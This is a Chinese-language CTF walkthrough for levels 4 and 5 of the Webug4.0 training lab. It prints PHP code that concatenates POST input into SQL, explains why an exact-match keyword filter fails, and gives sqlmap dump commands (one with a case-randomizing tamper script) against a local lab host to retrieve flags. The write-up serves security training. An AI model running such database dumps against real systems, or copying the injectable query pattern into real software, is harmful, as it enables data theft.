Webug4.0通关笔记03- 第4关POST注入和第5关过滤注入

目录

[第04关 POST型注入](#第04关 POST型注入)

1.源码分析

2.sqlmap注入

(1)bp保存报文

(2)sqlmap渗透

(3)获取flag

[第05关 过滤型注入](#第05关 过滤型注入)

1.源码分析

2.sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


第04关 POST型注入

http://192.168.71.1/webug4/control/sqlinject/post_injection.phphttp://192.168.71.1/webug4/control/sqlinject/post_injection.php

1.源码分析

复制代码
<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
/**
 * SELECT * FROM sqlinjection WHERE content = '1' or if(1=1, sleep(3),1); --+'
 */
if (isset($_POST["keyWordName"])) {
    if (!empty($_POST["keyWordName"])) {
        $sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";
        $res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
    }
}
require_once TPMELATE."/post-injection.html";

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

复制代码
SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示,存在时间盲注。

2.sqlmap注入

(1)bp保存报文

将报文保存为 webug04.txt

(2)sqlmap渗透

复制代码
sqlmap -r webug04.txt --current-db --dump --batch

如下所示渗透成功

(3)获取flag

根据如下可知,本关卡的flag为dsfasdczxcg

第05关 过滤型注入

http://192.168.71.1/webug4/control/sqlinject/filter_injection.phphttp://192.168.71.1/webug4/control/sqlinject/filter_injection.php

1.源码分析

复制代码
<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
/**
 * SELECT * FROM sqlinjection WHERE content = '1' or if(1=1, sleep(3),1); --+'
 */
$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {
    if (!empty($_POST["keyWordName"])) {
        if (in_array($_POST['keyWordName'], $filter)) {
            echo "<script>alert('请不要尝试注入危险函数')</script>";
        } else{
            $sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";
            $res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
        }

    }
}
require_once TPMELATE."/post-injection.html";

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

复制代码
SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别时select和SELECT过滤

复制代码
$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {
    if (!empty($_POST["keyWordName"])) {
        if (in_array($_POST['keyWordName'], $filter)) {
            echo "<script>alert('请不要尝试注入危险函数')</script>";
        }
    }
}

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框

复制代码
in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。

2.sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py**,将随机大小写来绕过源码对select关键字的过滤**

复制代码
sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

复制代码
sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf

相关推荐
筑梦之月6 小时前
3分钟解决ZAP打开浏览器闪退问题
web安全
m0_738120726 小时前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Suckerbin11 小时前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
黄焖鸡能干四碗18 小时前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
2301_7807896620 小时前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
卓码软件测评1 天前
第三方web测评机构:【WEB安全测试中HTTP方法(GET/POST/PUT)的安全风险检测】
前端·网络协议·安全·web安全·http·xss
似水流年 光阴已逝1 天前
《网络安全实战:CC攻击(应用层)与DDoS攻击(网络层)的底层逻辑与防御体系》
安全·web安全·ddos·网络攻击·安全防护·cc攻击
网络安全大学堂1 天前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
码农101号1 天前
Linux 网络安全运维与文件权限控制和日志操作
运维·web安全·云计算
安畅检测_齐鲁物联网测试中心2 天前
信息化安全性测试中漏洞扫描的定义与核心目的
安全·web安全·漏洞扫描·cma·cnas·第三方检测机构·信息安全性测试